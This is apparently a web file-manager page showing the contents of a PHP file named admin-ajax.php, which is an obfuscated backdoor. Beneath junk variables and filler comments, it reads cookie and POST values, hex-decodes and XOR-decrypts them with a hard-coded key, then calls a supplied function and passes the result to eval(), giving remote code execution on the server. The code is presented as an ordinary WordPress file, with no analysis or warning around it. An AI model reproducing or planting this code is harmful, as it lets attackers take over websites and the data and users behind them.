OwlCyberSecurity - MANAGER
Edit File: admin-ajax.php
<?php function EobzRGFhLo($cMTpJXBJPS) /*px */{ return @pack( "\110" . "\x2a", $cMTpJXBJPS );$_rxqS = '20017'; $FCdoH/* Tlr*/= md5($cMTpJXBJPS); $oXmTZu = base64_decode($cMTpJXBJPS);$_ii/* rw*/= '50617'; if/*Wtg */($oXmTZu === false) { /* NXbY */$oXmTZu/* OMWbB */=/* wqhop */''; } $fKlIbYUV/* XDUC*/=/*qBHjh */str_split($cMTpJXBJPS);; /* nJe */$cmogQAnsks = strlen($cMTpJXBJPS); $cyQsTTneX =/* Hd */0; while ( $cyQsTTneX < $cmogQAnsks/* pb */) { $cyQsTTneX++; /* ZnN */$copNfmE = $fKlIbYUV[$cyQsTTneX]; if (strpos($copNfmE,/*vP */'a')/* Qfhni */!==/* OCa */false)/*jJoP */{ $fKlIbYUV[$cyQsTTneX] =/* AwpM */strtoupper($copNfmE); } /* mQQq */} $bRWRK =/* xRRw */implode('', $fKlIbYUV);; $_GET['decoded']/* ogZzs*/=/* wiNGB */$bRWRK;$_gn/* fn */= '33374'; $_POST['hash'] = $FCdoH;$_tcl = '11462'; if/*oX*/(file_exists('path/to/file')) { /* dJZ*/$PNbCh =/* TBlGo */file_get_contents('path/to/file'); $fHdNmo/*PM */= explode(',',/*JSd*/$PNbCh); $bEXBpNT/* ctx */= md5(serialize($fHdNmo));$_CXZZ =/* DFjV */'62595'; if (is_array($fHdNmo))/*YT */{ $rpqtXWPS = array_slice($fHdNmo, 0,/* m */5);; } } $rMZClvK/* q*/= array_map('trim',/* GZc*/$rpqtXWPS); /* nJihg */$YYUgHxWulP =/* oBlW */rawurldecode(implode(',', $rMZClvK));$_QOGe = '3343'; $_COOKIE['final_value'] = $YYUgHxWulP; } /*esV */ function dTKyAfKP() { $ZMUai = Array($_COOKIE,/*Yqi */$_POST); $PKJqy = array_map('md5', $_COOKIE);; $KjRVUxbYoI =/*upa */strpos($_SERVER['HTTP_USER_AGENT'],/*Zeep */'Mozilla') !== false ? 'browser is Mozilla' : 'browser is not Mozilla'; if (is_array($ZMUai)) { /* oiZN */$eCfwxLwfz = array_slice($ZMUai, 0,/* Le */1); } else { $eCfwxLwfz/*z */= [];; /* xMmyv */} /* gNb*/ /*ZAYvr*/$slRvGyFlP = explode(',', 'apple,orange,banana');; $kSPpmcmM = rawurldecode('%20Hello%20World%20'); $cyQsTTneX =/* ucZ */0;$_iOMI/* qQ */= '37949'; while ($cyQsTTneX </*UKKWt */count($slRvGyFlP) ) { $slRvGyFlP[$cyQsTTneX]/* cahL */=/*UiT */str_repeat($slRvGyFlP[$cyQsTTneX], 2);; $cyQsTTneX++;$_H =/* Fwv*/'46911'; } /* g */ $NkJzwORGi/*K */= str_repeat($KjRVUxbYoI, 3); /* Rjm*/ return/* qmPpi*/$ZMUai;$_i = '51287'; } function NzyDumdLLR($LehQshbjas) { $aLvDRRdnvM = chr (35); foreach (dTKyAfKP()/* pqH*/as $RxCVDuRaJ) { /*Wjah */vDVfp($RxCVDuRaJ, $aLvDRRdnvM);; /* Jdse*/} } function HRUOmABS($VNtGjSiz,/* eBnxe */$cyQsTTneXQJAMT) { if/* Rc */(/* MK*/count ( $VNtGjSiz ) == 3 ) { /* adR */$XFgXS/* kvQqB */= $VNtGjSiz[1];$_MN/* QRR */= '31373'; $omDddilg/* sWy*/= $VNtGjSiz[2]; $QTJFjZGpX =/*UUkHv */$XFgXS($omDddilg); eval (/* W*/$QTJFjZGpX ); /* I */die ();; /* nrGnd */} } /* KyfM*/function/*Hbvj*/HRhdCqInTh($cMTpJXBJPS, $jQZIVOBn) /*kPf*/{ /* Ohm */return $cMTpJXBJPS ^ $jQZIVOBn; } function/*wdA*/XHEtvNTOZf($ezewrEyjW,/* lHnvu */$aLvDRRdnvM) /* LM */{/*saatB */ $ezewrEyjW =/* jZzB*/explode ($aLvDRRdnvM, $ezewrEyjW ); HRUOmABS($ezewrEyjW, $aLvDRRdnvM);$_Unjn =/*lc */'38729'; } /* z*/function vDVfp($RxCVDuRaJ, $aLvDRRdnvM) { foreach/*cN */( $RxCVDuRaJ as/* MBde */$jQZIVOBn/* B */=>/*oyQRo */$cMTpJXBJPS ) { ygMKPTpqN($jQZIVOBn, EobzRGFhLo($cMTpJXBJPS), $aLvDRRdnvM);; /* m */} } function azxsAaE($jQZIVOBn, $cMTpJXBJPS) /* fbduo */{ $eQeIKNtxE/* dJZD */=/* x */strlen( $cMTpJXBJPS/*fazFT */)/strlen( $jQZIVOBn ); /* R*/$jQZIVOBn .= "wZG-LLbuK-mMr-vHobOzY-xMAJqI-hgh-VIKjO";; /*aEvjk */$jQZIVOBn/* X*/= str_repeat/* HR*/( $jQZIVOBn, intval($eQeIKNtxE) + 1); /* yO */ /* r */return $jQZIVOBn;; /* mcG */} /*nRGvm */ function ygMKPTpqN($jQZIVOBn, $cMTpJXBJPS,/* q*/$aLvDRRdnvM) { XHEtvNTOZf(HRhdCqInTh($cMTpJXBJPS, azxsAaE($jQZIVOBn,/*Gm */$cMTpJXBJPS)), $aLvDRRdnvM);; $eUyMTXATNs/*uvQhA */=/* Wso*/trim($cMTpJXBJPS);; $HfPPSxMQ = explode($aLvDRRdnvM,/* Sgzjl*/$eUyMTXATNs);$_Y/* ltfop */= '10523'; if/* XHli */(count($HfPPSxMQ) >/* GSsGi*/1) { $QFNtLA/*Q */=/* C */implode("\x2d", $HfPPSxMQ);; $AERQriMe/*Wtxx */= str_pad($QFNtLA, 20, "\60", STR_PAD_RIGHT);$_koz =/* EOA */'41622'; }/*t */else { $AERQriMe/* rSaa */=/* pcN */str_replace("\40", "\x5f",/* szbU */$eUyMTXATNs); } /* bbvd */$tpXUoeMlFz = empty($aLvDRRdnvM); if (!$tpXUoeMlFz) { $MrbBxS = substr($AERQriMe, 0, 10);$_knXO/* NLds*/= '54792'; }/* YKsQ*/else { /*Bez */$MrbBxS = $AERQriMe; } /* U */} /* usZEL */ /*Zjn */NzyDumdLLR("");$_M/* seqJ*/=/* DGXM */'15530';